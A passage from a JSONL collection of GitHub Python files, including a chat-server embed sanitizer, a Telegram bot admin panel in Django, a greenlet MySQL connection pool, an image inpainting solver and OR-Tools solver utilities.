resnet, optimizer, epochs, train_loader, val_loader, run_logger=True)\n\nif __name__ == \"__main__\":\n main()","repo_name":"ddyachkova/Mass_Regression","sub_path":"train_script.py","file_name":"train_script.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"14367590360","text":"from typing import Dict, Any, Optional, Union, List, Tuple\n\nfrom logbook import Logger\nfrom quart import current_app as app\n\nfrom litecord.embed.schemas import EmbedURL\n\nlog = Logger(__name__)\nEmbed = Dict[str, Any]\n\n\ndef sanitize_embed(embed: Embed) -> Embed:\n \"\"\"Sanitize an embed object.\n\n This is non-complex sanitization as it doesn't\n need the app object.\n \"\"\"\n return {**embed, **{\"type\": \"rich\"}}\n\n\ndef path_exists(embed: Embed, components_in: Union[List[str], str]):\n \"\"\"Tell if a given path exists in an embed (or any dictionary).\n\n The components string is formatted like this:\n key1.key2.key3.key4. <...> .keyN\n\n with each key going deeper and deeper into the embed.\n \"\"\"\n\n # get the list of components given\n if isinstance(components_in, str):\n components = components_in.split(\".\")\n else:\n components = list(components_in)\n\n # if there are no components, we reached the end of recursion\n # and can return true\n if not components:\n return True\n\n # extract current component\n current = components[0]\n\n # if it exists, then we go down a level inside the dict\n # (via recursion)\n try:\n return path_exists(embed[current], components[1:])\n except (KeyError, TypeError, ValueError):\n # if the current component doesn't exist or we can't do a\n # key fetch, return False\n return False\n\n\ndef _md_base() -> Optional[tuple]:\n \"\"\"Return the protocol and base url for the mediaproxy.\"\"\"\n md_base_url = app.config[\"MEDIA_PROXY\"]\n if md_base_url is None:\n return None\n\n proto = \"https\" if app.config[\"IS_SSL\"] else \"http\"\n\n return proto, md_base_url\n\n\ndef make_md_req_url(scope: str, url):\n \"\"\"Make a mediaproxy request URL given the scope and the url\n to be proxied.\n\n When MEDIA_PROXY is None, however, returns the original URL.\n \"\"\"\n base = _md_base()\n if base is None:\n return url.url if isinstance(url, EmbedURL) else url\n\n proto, base_url = base\n return f\"{proto}://{base_url}/{scope}/{url.to_md_path}\"\n\n\ndef proxify(url) -> str:\n \"\"\"Return a mediaproxy url for the given EmbedURL. Returns an\n /img/ scope.\"\"\"\n if isinstance(url, str):\n url = EmbedURL(url)\n\n return make_md_req_url(\"img\", url)\n\n\nasync def _md_client_req(\n scope: str, url, *, ret_resp=False\n) -> Optional[Union[Tuple, Dict, List[Dict]]]:\n \"\"\"Makes a request to the mediaproxy.\n\n This has common code between all the main mediaproxy request functions\n to decrease code repetition.\n\n Parameters\n ----------\n scope: str\n the scope of your request. one of 'meta', 'img', or 'embed' are\n available for the mediaproxy's API.\n url: string or EmbedURL\n the url in question to give to the mediaproxy.\n\n ret_resp: bool, default false\n if this function returns the response and its bytes as a tuple, instead\n of the raw json object. used by 'img' scope to proxy images, as we want\n the raw bytes of the response, but by the time this function is\n returned, the response object is invalid and the socket is closed\n \"\"\"\n if not isinstance(url, EmbedURL):\n url = EmbedURL(url)\n\n request_url = make_md_req_url(scope, url)\n\n async with app.session.get(request_url) as resp:\n if resp.status == 200:\n if ret_resp:\n return resp, await resp.read()\n\n return await resp.json()\n\n body = await resp.read()\n log.warning(\"failed to call {!r}, {} {!r}\", request_url, resp.status, body)\n return None\n\n\nasync def fetch_metadata(url) -> Optional[Dict]:\n \"\"\"Fetch metadata for a url (image width, mime, etc).\"\"\"\n body = await _md_client_req(\"meta\", url)\n assert body is not None\n assert isinstance(body, dict)\n return body\n\n\nasync def fetch_mediaproxy_img(url) -> Optional[tuple]:\n \"\"\"Fetch raw data for a url (the bytes given off, used to proxy images).\n\n Returns a tuple containing the response object and the raw bytes given by\n the website.\n \"\"\"\n tup = await _md_client_req(\"img\", url, ret_resp=True)\n assert tup is not None\n assert isinstance(tup, tuple)\n return tup\n\n\nasync def fetch_mediaproxy_embed(url) -> List[Dict[str, Any]]:\n \"\"\"Fetch an embed for a given webpage (an automatically generated embed\n by the mediaproxy, look over the project on how it generates embeds).\n\n Returns a discord embed object.\n \"\"\"\n resp = await _md_client_req(\"embed\", url)\n assert resp is not None\n assert isinstance(resp, list)\n return resp\n\n\nasync def fill_embed(embed: Optional[Embed]) -> Optional[Embed]:\n \"\"\"Fill an embed with more information, such as proxy URLs.\n\n Uses path_exists() to check if a given element exists in an embed by\n checking if its parent fields also exist, which is why we do\n `path_exists(embed, 'footer.icon_url')`\n instead of\n `embed.get('icon_url', embed.get('footer', {}))`.\n\n Uses the proxify function so that clients don't directly contact websites\n in embeds and instead use the mediaproxy.\n \"\"\"\n if embed is None:\n return None\n\n embed = sanitize_embed(embed)\n\n if path_exists(embed, \"footer.icon_url\"):\n embed[\"footer\"][\"proxy_icon_url\"] = proxify(embed[\"footer\"][\"icon_url\"])\n\n if path_exists(embed, \"author.icon_url\"):\n embed[\"author\"][\"proxy_icon_url\"] = proxify(embed[\"author\"][\"icon_url\"])\n\n if path_exists(embed, \"image.url\"):\n image_url = embed[\"image\"][\"url\"]\n\n meta = await fetch_metadata(image_url)\n embed[\"image\"][\"proxy_url\"] = proxify(image_url)\n\n if meta and meta[\"image\"]:\n embed[\"image\"][\"width\"] = meta[\"width\"]\n embed[\"image\"][\"height\"] = meta[\"height\"]\n\n return embed\n","repo_name":"dolfies/patchcord","sub_path":"litecord/embed/sanitizer.py","file_name":"sanitizer.py","file_ext":"py","file_size_in_byte":5783,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"7"} +{"seq_id":"832591798","text":"import socket\nimport sys\n\nimport CESAPI\n\nSIZE_PACKET_HEADER = 8 # PacketHeaderT\nSIZE_BASIC_COMMAND = 16 # BasicCommandRT\nenc = CESAPI.Encoder()\ndec = CESAPI.Decoder()\n\n# Create a TCP/IP socket\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# Connect the socket to the port where the server is listening\nserver_address = ('192.168.0.1', 700)\nprint('connecting to {}'.format(server_address))\nsock.connect(server_address)\n\ntry:\n \n # Send data\n enc.Initialize()\n outPacket = enc.getPacket()\n print('sending \"{}\"'.format(outPacket))\n sock.sendall(outPacket)\n\n while True:\n # Look for the response\n amount_received = 0\n amount_expected = SIZE_PACKET_HEADER\n inPacket = b''\n while amount_received < amount_expected:\n data = sock.recv(amount_expected-amount_received)\n amount_received += len(data)\n # print('received \"{}\"'.format(data))\n inPacket = b''.join((inPacket, data))\n amount_expected = dec.getSize(inPacket)\n print(\"Packet Size: {}\".format(amount_expected))\n while amount_received < amount_expected:\n data = sock.recv(amount_expected-amount_received)\n amount_received += len(data)\n # print('received \"{}\"'.format(data))\n inPacket = b''.join((inPacket, data))\n message = dec.decode(inPacket)\n\n messageType = message.getType()\n print('Message Type: {}'.format(messageType))\n messageTypeName = 'Unknown'\n if messageType == CESAPI.ES_DT_Command:\n messageTypeName = 'ES_DT_Command'\n commandType = message.getCommand().command\n print(\"Command Type: {}\".format(commandType))\n if commandType == CESAPI.ES_C_Initialize:\n command = message.getInitialize()\n print(\"Init Status: {}\".format(command.packetInfo.status))\n break\n else:\n print(\"Status: {}\".format(message.getCommand().status))\n elif messageType == CESAPI.ES_DT_Error:\n messageTypeName = 'ES_DT_Error'\n elif messageType == CESAPI.ES_DT_SingleMeasResult:\n messageTypeName = 'ES_DT_SingleMeasResult'\n elif messageType == CESAPI.ES_DT_NivelResult:\n messageTypeName = 'ES_DT_NivelResult'\n elif messageType == CESAPI.ES_DT_ReflectorPosResult:\n messageTypeName = 'ES_DT_ReflectorPosResult'\n pos = message.getReflectorPosition()\n print(\"Reflector Position: ({},{},{})\".format(pos.dVal1, pos.dVal2, pos.dVal3))\n elif messageType == CESAPI.ES_DT_SystemStatusChange:\n messageTypeName = 'ES_DT_SystemStatusChange'\n elif messageType == CESAPI.ES_DT_SingleMeasResult2:\n messageTypeName = 'ES_DT_SingleMeasResult2'\n else:\n messageTypeName = 'Unknown'\n print('Message Type Name: {}'.format(messageTypeName))\n\nfinally:\n print('closing socket')\n sock.close()","repo_name":"MuffinSpawn/Leica","sub_path":"x64/Release/init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":2981,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"6049620925","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.models import User\nfrom django.forms.utils import ErrorList\nfrom django.http import HttpResponse\nfrom .forms import LoginForm, SignUpForm\n\ndef login_view(request):\n form = LoginForm(request.POST or None)\n\n msg = None\n\n if request.method == \"POST\":\n\n if form.is_valid():\n username = form.cleaned_data.get(\"username\")\n password = form.cleaned_data.get(\"password\")\n user = authenticate(username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect(\"/\")\n else: \n msg = 'Invalid credentials' \n else:\n msg = 'Error validating the form' \n\n return render(request, \"accounts/login.html\", {\"form\": form, \"msg\" : msg})\n\ndef register_user(request):\n\n msg = None\n success = False\n\n if request.method == \"POST\":\n form = SignUpForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get(\"username\")\n raw_password = form.cleaned_data.get(\"password1\")\n user = authenticate(username=username, password=raw_password)\n\n msg = 'User created - please login.'\n success = True\n \n #return redirect(\"/login/\")\n\n else:\n msg = 'Form is not valid' \n else:\n form = SignUpForm()\n\n return render(request, \"accounts/register.html\", {\"form\": form, \"msg\" : msg, \"success\" : success })\n\nfrom .models import User\nfrom .telegram_utils import get_username_from_telegram\nimport asyncio\nimport calendar\nfrom datetime import date, timedelta, datetime\n\ndef statistics_view(request):\n query = request.GET.get('query')\n if query:\n all_users = User.objects.filter(id__icontains=query) # Replace 'name' with the actual field name for username\n else:\n all_users = User.objects.all()\n\n chart_users = User.objects.exclude(joining_date=None)\n \n month_counts = {month: 0 for month in range(1, 13)}\n\n for user in chart_users:\n joining_date = user.joining_date\n month = joining_date.month\n month_counts[month] += 1\n\n monthly_data = [month_counts[month] for month in range(1, 13)]\n\n \n \n today = date.today()\n last_seven_days = [today - timedelta(days=i) for i in range(6, -1, -1)]\n last_seven_days_labels = [day.strftime(\"%Y-%d-%m\") for day in last_seven_days]\n\n daily_data = []\n\n for i in range(7):\n date_to_check = today - timedelta(days=i)\n formatted_date = date_to_check.strftime(\"%Y-%m-%d\")\n users_count = User.objects.filter(joining_date=formatted_date).count()\n daily_data.append(users_count)\n\n daily_data.reverse()\n\n total_users = all_users.count()\n displayed_users_count = 5 # Number of users displayed per page\n remaining_users = total_users - displayed_users_count\n\n page = request.GET.get('page') # Get the page parameter from the URL query parameters\n if page:\n page = int(page)\n offset = (page - 1) * displayed_users_count # Calculate the offset for the queryset\n users = all_users[::-1][offset:offset + displayed_users_count] # Fetch the users for the current page\n else:\n page = 1\n users = all_users[::-1][:displayed_users_count] # Fetch the first 5 users\n\n usernames = []\n for user in users:\n username = asyncio.run(get_username_from_telegram(user.id))\n #print(username)\n usernames.append(username)\n\n next_page = page + 1 if remaining_users > displayed_users_count else None # Calculate the next page number\n\n context = {\n 'total': total_users,\n 'user_count': len(users),\n 'users': zip(users, usernames),\n 'remaining_users': remaining_users,\n 'next_page': next_page,\n 'monthly_data': monthly_data,\n 'daily_data': daily_data,\n 'last_seven_days': last_seven_days_labels,\n 'query': query\n }\n return render(request, 'index.html', context)\n\nfrom .telegram_utils import send_message_to_telegram_user\nfrom .telegram_utils import send_message_to_telegram_user_with_image\nimport tempfile\n\ndef send_message_api(request):\n if request.method == 'POST':\n user_id = request.POST.get('user_id')\n message = request.POST.get('message')\n image = request.FILES.get('image')\n\n # Call the function to send the message to the Telegram user\n if image:\n image_data = image.read()\n asyncio.run(send_message_to_telegram_user_with_image(user_id, message, image_data))\n else:\n asyncio.run(send_message_to_telegram_user(user_id, message))\n\n return render(request, 'index.html')\n\nfrom .telegram_utils import broadcast_message_to_telegram_users\nfrom .telegram_utils import broadcast_message_to_telegram_users_with_image\n\ndef broadcast_message_api(request):\n if request.method == 'POST':\n message = request.POST.get('message') # Get the message from the form\n all_users = User.objects.all()\n \n chat_ids = [user.id for user in all_users]\n \n image = request.FILES.get('image')\n\n if image:\n image_data = image.read()\n asyncio.run(broadcast_message_to_telegram_users_with_image(message, chat_ids, image_data))\n else:\n # Call the function to send the message to the Telegram users\n asyncio.run(broadcast_message_to_telegram_users(message, chat_ids))\n\n # Optionally, you can perform any additional logic or redirect to another page\n \n return render(request, 'index.html')","repo_name":"usmanf07/admin-panel-telegram-bot","sub_path":"authentication/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5838,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"2389886686","text":"from models.model import Model\nfrom tqdm import tqdm\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nfrom lib.ops import *\n\nclass Harmonic(Model):\n def __init__(self, **params):\n super(Harmonic, self).__init__()\n self.lambda_ = params.get('lambda', 10)\n self.eps = params.get('eps', 1e-5)\n self.max_iter = params.get('maxiter', 500)\n self.dt = params.get('dt', 0.1)\n\n def solve(self, noisy, mask):\n if noisy.ndim==3:\n M,N,C = noisy.shape\n else:\n M,N = noisy.shape\n C = 1\n lambda_ = self.lambda_\n dt = self.dt\n maxiter = self.max_iter\n tol = self.eps\n u = noisy.copy()\n channel_status = np.zeros((C,1), dtype=np.int32)\n loss = []\n\n for iter in range(0,maxiter):\n for c in range(0,C):\n if channel_status[c] != 0:\n break\n laplacian_cv = cv2.Laplacian(u[:,:,c],cv2.CV_64F)\n laplacian_me = laplacian2d(u[:,:,c])\n # plt.subplot(1,2,1)\n # plt.hist(laplacian_cv)\n # plt.subplot(1,2,2)\n # plt.hist(laplacian_me)\n # plt.show()\n unew = u[:,:,c] + dt*( laplacian_me + lambda_ * mask[:,:,c] * (noisy[:,:,c]-u[:,:,c]) )\n\n diff_u = np.linalg.norm(unew.reshape(M*N,1)-u[:,:,c].reshape(M*N,1),2)/np.linalg.norm(unew.reshape(M*N,1),2);\n\n u[:,:,c] = unew\n\n if diff_u \" + row[3] + \"\\n\"\n file_content += \"\\n\\n\"\n f = open(path_to_kiss_file +'/'+ file_name +'.kiss', 'w')\n f.write(file_content)\n f.close()\n \n\npath = PATH_TO_FEATURED_PRODUCTS + \"/*.csv\"\nfor fname in glob.glob(path):\n data = pd.read_csv(fname, header=None, index_col=None)\n print(fname.split('/')[-1])\n make_kiss_file(data, fname.split('/')[-1][:-4], PATH_TO_FEATURED_KISS_FILES)\n\n\npath = PATH_TO_BASE_PRODUCTS + \"/*.csv\"\nfor fname in glob.glob(path):\n data = pd.read_csv(fname, header=None, index_col=None)\n print(fname.split('/')[-1])\n make_kiss_file(data, fname.split('/')[-1][:-4], PATH_TO_BASE_KISS_FILES)\n\n \n\n\n\n","repo_name":"TEIAS-Model-Learners/CSV_to_Mealy","sub_path":"src/main/resources/Body Comfort System/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32044295959","text":"import os\n\nfrom ..base import (\n ImageGroupViewer, on_caps_lock_off, load_rgb_image\n)\n\n\nclass ImageViewer(ImageGroupViewer):\n def __init__(self, directory):\n super(ImageViewer, self).__init__(\n sorted([os.path.join(directory, x)\n for x in os.listdir(directory)\n if x.lower().endswith('.jpg') or x.lower().endswith('.png') or x.lower().endswith('.bmp')\n ]),\n os.path.basename(directory)\n )\n self.display()\n\n def display(self):\n super(ImageViewer, self).display()\n if self.should_update():\n image_file = self.items[self.id]\n img = load_rgb_image(image_file)\n self.set_image(img)\n\n title = \"{} ({}/{})\".format(\n os.path.basename(image_file),\n self.id + 1,\n self.num_items\n )\n self.set_title(title)\n\n @on_caps_lock_off\n def on_key_press(self, event):\n super().on_key_press(event)\n self.display()\n","repo_name":"nearthlab/smart-labeller","sub_path":"labeller/app/image_viewer.py","file_name":"image_viewer.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"7"} +{"seq_id":"3327109496","text":"import sys\nimport time\nimport greenlet\n\nfrom functools import wraps\nfrom collections import deque\nfrom tornado.ioloop import IOLoop\nfrom tornado.concurrent import Future\nfrom pymysql.connections import Connection\n\n\nclass TimeoutException(Exception):\n pass\n\n\nclass Timeout(object):\n def __init__(self, deadline, ex=TimeoutException):\n self._greenlet = greenlet.getcurrent()\n self._ex = ex\n self._callback = None\n self._deadline = deadline\n self._delta = time.time() + deadline\n self._ioloop = IOLoop.current()\n\n def start(self, callback=None):\n errmsg = \"{} timeout, deadline is {} seconds\".format(str(self._greenlet),\n self._deadline)\n if callback:\n self._callback = self._ioloop.add_timeout(self._delta, callback,self._ex(errmsg))\n else:\n self._callback = self._ioloop.add_timeout(\n self._delta, self._greenlet.throw, self._ex(errmsg))\n\n def cancel(self):\n assert self._callback, \"Timeout not started\"\n self._ioloop.remove_timeout(self._callback)\n self._greenlet = None\n\n\nclass Waiter:\n def __init__(self):\n self._greenlet = greenlet.getcurrent()\n self._main = self._greenlet.parent\n\n @property\n def greenlet(self):\n return self._greenle\n\n def switch(self, value):\n self._greenlet.switch(value)\n\n def throw(self, *exc_info):\n self._greenlet.throw(*exc_info)\n\n def get(self):\n return self._main.switch()\n\n def clear(self):\n pass\n\n\nclass Event:\n def __init__(self):\n self._waiter = []\n self._ioloop = IOLoop.current()\n\n def set(self):\n self._ioloop.add_callback(self._notify)\n\n def wait(self, timeout=None):\n current_greenlet = greenlet.getcurrent()\n self._waiter.append(current_greenlet.switch)\n waiter = Waiter()\n\n if timeout:\n timeout_checker = Timeout(timeout)\n timeout_checker.start(current_greenlet.throw)\n waiter.get()\n timeout_checker.cancel()\n else:\n waiter.get()\n\n def _notify(self):\n for waiter in self._waiter:\n waiter(self)\n\n\nclass GreenTask(greenlet.greenlet):\n def __init__(self, run, *args, **kwargs):\n super(GreenTask, self).__init__()\n self._run = run\n self._args = args\n self._kwargs = kwargs\n self._future = Future()\n self._result = None\n self._exc_info = ()\n\n @property\n def args(self):\n return self._args\n\n @property\n def kwargs(self):\n return self._kwargs\n\n def run(self):\n try:\n timeout = self.kwargs.pop(\"timeout\", 0)\n if timeout:\n timer = Timeout(timeout)\n timer.start()\n self._result = self._run(*self.args, **self.kwargs)\n self._future.set_result(self._result)\n except:\n self._exc_info = sys.exc_info()\n self._future.set_exc_info(self._exc_info)\n finally:\n if timeout:\n timer.cancel()\n\n def start(self):\n self.switch()\n\n def __str__(self):\n func_name = \"{} of {} \".format(self._run.__name__, self._run.__module__)\n return \"\".format(func_name, hex(id(self)))\n\n def __repr__(self):\n return self.__str__()\n\n def wait(self):\n return self._future\n\n @classmethod\n def spawn(cls_green, *args, **kwargs):\n task = cls_green(*args, **kwargs)\n task.start()\n return task\n\n\ndef spawn(callable_obj, *args, **kwargs):\n return GreenTask.spawn(callable_obj, *args, **kwargs).wait()\n\n\ndef green(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n return GreenTask.spawn(func, *args, **kwargs).wait()\n return wrapper\n\n\nclass Pool:\n def __init__(self, max_size=32, wait_timeout=8, params={}):\n self._maxsize = max_size\n self._conn_params = params\n self._pool = deque(maxlen=self._maxsize)\n self._wait = deque()\n self._wait_timeout = wait_timeout\n self._count = 0\n self._started = False\n self._ioloop = IOLoop.current()\n self._evnet = Event()\n self._ioloop.add_future(spawn(self.start), lambda future: future)\n\n def create_raw_conn(self):\n pass\n\n def init_pool(self):\n self._count += 1\n conn = self.create_raw_conn()\n self._pool.append(conn)\n\n @property\n def size(self):\n return len(self._pool)\n\n def get_conn(self):\n while 1:\n if self._pool:\n return self._pool.popleft()\n elif self._count < self._maxsize:\n self.init_pool()\n else:\n self.wait_conn()\n\n def wait_conn(self):\n timer = None\n child_gr = greenlet.getcurrent()\n main = child_gr.parent\n try:\n if self._wait_timeout:\n timer = Timeout(self._wait_timeout)\n timer.start()\n self._wait.append(child_gr.parent)\n main.switch()\n except TimeoutException as e:\n raise Exception(\"timeout wait connections, connections size is {}\".format(self.size))\n finally:\n if timer:\n timer.cancel()\n\n def release(self, conn):\n self._pool.append(conn)\n if self._wait:\n callback = self._wait.popleft()\n self._ioloop.add_callback(callback)\n\n def quit(self):\n self._started = Future\n self._evnet.set()\n\n def _close_all(self):\n for conn in tuple(self._pool):\n conn.close()\n self._pool = None\n\n def start(self):\n self._started = True\n self._evnet.wait()\n self._close_all()\n\n\nclass ConnectionPool(Pool):\n def __init__(self, max_size=32, keep_alive=7200, mysql_params={}):\n super(ConnectionPool, self).__init__(max_size=max_size, params=mysql_params)\n self._keep_alive = keep_alive\n\n def create_raw_conn(self):\n conn = Connection(**self._conn_params)\n if self._keep_alive:\n self._ioloop.add_timeout(time.time() + self._keep_alive, self._ping, conn)\n return conn\n\n @green\n def _ping(self):\n for conn in self._pool:\n conn.ping()\n self.release(conn)\n self._ioloop.add_timeout(time.time() + self._keep_alive, self._ping, conn)\n\n\nif __name__ == \"__main__\":\n p = ConnectionPool(mysql_params={\"user\": \"root\", \"password\": \"\", \"database\": \"\", \"port\": 3306})\n cursor = p.create_raw_conn().cursor()\n cursor.execute(\"select * from django_session\")\n result = cursor.fetchall()\n print(result)\n","repo_name":"hugoren/pool","sub_path":"mysql_pool.py","file_name":"mysql_pool.py","file_ext":"py","file_size_in_byte":6713,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"71638499425","text":"#!/usr/bin/env python3\n\nimport os\nimport glob\nimport tornado.template\n\nimport tomli\n\nfrom lilaclib import s, git_add_files, git_commit, single_main, update_pkgrel, get_pkgver_and_pkgrel\n\ndebug = False\n\nSTDS = [\n 'arm-unknown-linux-gnueabihf',\n 'armv7-unknown-linux-gnueabihf',\n 'x86_64-unknown-linux-gnu',\n 'i686-unknown-linux-gnu',\n 'i686-pc-windows-gnu', # need libgcc_s_dw2-1.dll\n 'x86_64-pc-windows-gnu',\n 'wasm32-unknown-unknown',\n 'aarch64-linux-android',\n 'x86_64-unknown-linux-musl',\n]\n\nconfig_url = 'https://static.rust-lang.org/dist/channel-rust-nightly.toml'\n\ntoolchain = {\n 'x86_64-pc-windows-gnu': ['mingw-w64-gcc'],\n 'i686-pc-windows-gnu': ['mingw-w64-gcc'],\n 'i686-unknown-linux-gnu': [],\n 'asmjs-unknown-emscripten': ['emsdk', 'emscripten'],\n 'wasm32-unknown-emscripten': ['emsdk', 'emscripten'],\n 'wasm32-unknown-unknown': [],\n 'aarch64-linux-android': ['android-ndk'],\n}\n\nclass Std:\n def __init__(self, target, data):\n if not data['available']:\n raise Exception('target not available', target)\n self.name = f'rust-std-nightly-{target}'\n self.url = data['xz_url']\n self.hash = data['xz_hash']\n self.target = target\n self.optdepends = toolchain.get(target)\n\nPKGBUILD: str\n\ndef prepare():\n toml = s.get(config_url).text\n toml = tomli.loads(toml)\n\n version_date = toml['date']\n version = toml['pkg']['rust']['version'].split('-', 1)[0]\n cargo_version = toml['pkg']['cargo']['version'].split('-', 1)[0]\n rustfmt_version = toml['pkg']['rustfmt-preview']['version'].split('-', 1)[0]\n if not rustfmt_version:\n return 'no rustfmt available'\n\n clippy_version = toml['pkg']['clippy-preview']['version'].split('-', 1)[0]\n try:\n clippy_url = toml['pkg']['clippy-preview']['target'] \\\n ['x86_64-unknown-linux-gnu']['xz_url']\n except KeyError:\n return 'no clippy available?'\n\n miri_version = toml['pkg']['miri-preview']['version'].split('-', 1)[0]\n if not miri_version:\n return 'miri version is empty. not available?'\n\n stds = [Std(target, toml['pkg']['rust-std']['target'][target])\n for target in STDS]\n\n loader = tornado.template.Loader('.')\n global PKGBUILD\n PKGBUILD = loader.load('PKGBUILD.tmpl').generate(\n stds = stds,\n version = version,\n version_date = version_date.replace('-', ''),\n version_date_raw = version_date,\n cargo_version = cargo_version,\n rustfmt_version = rustfmt_version,\n clippy_version = clippy_version,\n clippy_url = clippy_url,\n miri_version = miri_version,\n )\n\ndef pre_build():\n oldver, oldrel = get_pkgver_and_pkgrel()\n\n if not debug:\n oldfiles = (glob.glob('*.xz') + glob.glob('*.xz.asc') +\n glob.glob('*.part'))\n for f in oldfiles:\n os.unlink(f)\n\n with open('PKGBUILD', 'wb') as output:\n output.write(PKGBUILD)\n\n newver, _ = get_pkgver_and_pkgrel()\n if oldver == newver:\n update_pkgrel(rel=int(oldrel + 1))\n\ndef post_build():\n git_add_files(['PKGBUILD'])\n git_commit()\n\nif __name__ == '__main__':\n single_main()\n","repo_name":"archlinuxcn/repo","sub_path":"archlinuxcn/rust-nightly/lilac.py","file_name":"lilac.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","stars":1384,"dataset":"github-code","pt":"7"} +{"seq_id":"27776836860","text":"import numpy as np\r\n\r\n\r\nclass nn:\r\n\r\n\tdef sigmoid(self, x, deriv=False, dropout=False):\r\n\r\n\t\tif deriv:\r\n\t\t\treturn x * (1 - x)\r\n\t\ts = 1 / (1 + np.exp(-x.astype(\"float\")))\r\n\r\n\t\tif dropout:\r\n\t\t\treturn self.dropout(s)\r\n\t\telse:\r\n\t\t\treturn s\r\n\r\n\tdef relu(self, x, deriv=False, dropout=False):\r\n\r\n\t\tif deriv:\r\n\t\t\treturn 1/2 * (1 + np.sign(x))\r\n\t\ts = x/2 + 1/2 * x * np.sign(x)\r\n\r\n\t\tif dropout:\r\n\t\t\treturn self.dropout(s)\r\n\t\telse:\r\n\t\t\treturn s\r\n\r\n\tdef mean_squared_error(self, e, deriv=False):\r\n\r\n\t\tif deriv:\r\n\t\t\treturn 2 * e\r\n\t\telse:\r\n\t\t\tfor i in range(len(e)):\r\n\t\t\t\tfor k in range(len(e[0])):\r\n\t\t\t\t\te[i][k] = pow(e[i][k], 2)\r\n\r\n\t\t\ta = np.abs(e)\r\n\t\t\tsum = 0\r\n\t\t\tfor i in a:\r\n\t\t\t\tfor j in i:\r\n\t\t\t\t\tsum += j\r\n\t\t\treturn sum / len(a)\r\n\r\n\tdef dropout(self, mat):\r\n\r\n\t\tchance = 0.5\r\n\t\tpercent = chance * 100\r\n\r\n\t\tfor i in range(len(mat)):\r\n\t\t\tfor j in range(len(mat[0])):\r\n\t\t\t\trand = np.random.randint(101)\r\n\t\t\t\tif rand <= percent:\r\n\t\t\t\t\tmat[i][j] *= 0\r\n\t\t\t\telse:\r\n\t\t\t\t\tpass\r\n\t\treturn mat\r\n","repo_name":"theopfr/higgs-boson-kaggle-challenge","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6957140850","text":"#\n# Utilities for OR-Tools CP-SAT solver.\n#\n# This package was created by Hakan Kjellerstrand (hakank@gmail.com)\n# See my other Google OR-tools models: http://www.hakank.org/or_tools/\n#\nfrom ortools.sat.python import cp_model as cp\n\n\nclass SimpleSolutionPrinter(cp.CpSolverSolutionCallback):\n \"\"\"\n SimpleSolutionPrinter: Print solution in one line.\n\n Example:\n # model = ...\n solution_printer = SimpleSolutionPrinter(variables)\n status = solver.SearchForAllSolutions(model, solution_printer)\n # ...\n print()\n print('Solutions found : %i' % solution_printer.SolutionCount())\n # ...\n \"\"\"\n def __init__(self, variables):\n cp.CpSolverSolutionCallback.__init__(self)\n self.__variables = variables\n self.__solution_count = 0\n\n def OnSolutionCallback(self):\n self.__solution_count += 1\n for v in self.__variables:\n print('%s = %i' % (v, self.Value(v)), end = ' ')\n print()\n\n def SolutionCount(self):\n return self.__solution_count\n\n\nclass SimpleSolutionPrinter2(cp.CpSolverSolutionCallback):\n \"\"\"\n SimpleSolutionPrinter2: Print vars in each line.\n\n Example:\n # model = ...\n solution_printer = SimpleSolutionPrinter([variables])\n status = solver.SearchForAllSolutions(model, solution_printer)\n # ...\n print()\n print('Solutions found : %i' % solution_printer.SolutionCount())\n # ...\n \"\"\"\n def __init__(self, variables):\n cp.CpSolverSolutionCallback.__init__(self)\n self.__variables = variables\n self.__solution_count = 0\n\n def OnSolutionCallback(self):\n self.__solution_count += 1 \n for vars in self.__variables:\n if type(vars) in (list,):\n print([self.Value(v) for v in vars])\n else:\n print(vars,\":\", self.Value(vars))\n print()\n\n def SolutionCount(self):\n return self.__solution_count\n\n\nclass ListPrinter(cp.CpSolverSolutionCallback):\n \"\"\"\n ListPrinter(variables)\n Print solutions just as list of integers.\n \"\"\"\n def __init__(self, variables, limit=0):\n cp.CpSolverSolutionCallback.__init__(self)\n self.__variables = variables\n self.__limit = limit\n self.__solution_count = 0\n\n def OnSolutionCallback(self):\n self.__solution_count += 1\n print([self.Value(v) for v in self.__variables])\n if self.__limit > 0 and self.__solution_count >= self.__limit:\n self.StopSearch()\n\n def SolutionCount(self):\n return self.__solution_count\n\n\nclass SimpleSolutionCounter(cp.CpSolverSolutionCallback): \n \"\"\"\n SolutionCounter: Just count the number of solutions.\n\n Example:\n # model = ...\n solution_printer = SolutionCounter(variables)\n status = solver.SearchForAllSolutions(model, solution_printer)\n # ...\n print()\n print('Solutions found : %i' % solution_printer.SolutionCount())\n # ...\n \"\"\"\n def __init__(self, variables):\n cp.CpSolverSolutionCallback.__init__(self)\n self.__variables = variables\n self.__solution_count = 0\n\n def OnSolutionCallback(self):\n self.__solution_count += 1\n\n def SolutionCount(self):\n return self.__solution_count\n\n\ndef count_vars(model, x, val, c):\n \"\"\"\n count_vars(model, x, val, c)\n\n `c` is the number of occurrences of `val` in array `x`\n\n c = sum([x[i] == val for i in range(len(x))])\n \"\"\"\n n = len(x)\n b = [model.NewBoolVar(f\"b[{i}]\") for i in range(n)]\n for i in range(n):\n 